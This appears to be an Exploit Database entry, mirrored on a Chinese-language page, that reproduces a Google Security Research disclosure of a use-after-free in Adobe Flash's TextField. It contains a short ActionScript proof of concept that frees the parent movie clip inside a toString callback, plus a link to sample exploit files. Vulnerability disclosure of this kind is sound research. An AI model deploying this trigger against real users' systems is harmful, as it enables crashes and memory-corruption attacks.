Adobe Flash – ‘TextField’ Use-After Free

• Exploit Database
• 20 阅读

• 作者： Google Security Research
  日期： 2015-12-18
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39049/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=583
  
  If a TextField variable is set to a value with toString defined, and the TextField is updated, a use-after-free can occur if the toString method frees the TextField's parent. A minimal PoC is as follows:
  
  var mc = this.createEmptyMovieClip("mc", 301);
  var my_txt = mc.createTextField("my_txt", 302, 0, 0, 100, 100); 
  trace(my_txt);
  my_txt.variable = "today_date"; 
  mc.today_date = "blah"; 
  var times = 0;
   
  var date_interval:Number = setInterval(updateDate, 500);
   
  function updateDate() { 
  mc.today_date = {toString : func}; 
  }
  
  function func(){
  	if(times == 0){
  		times++;
  		mc.removeMovieClip();
  	}
  
  	return "test";
  	
  	}
  
  A sample fla and swf are attached.
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39049.zip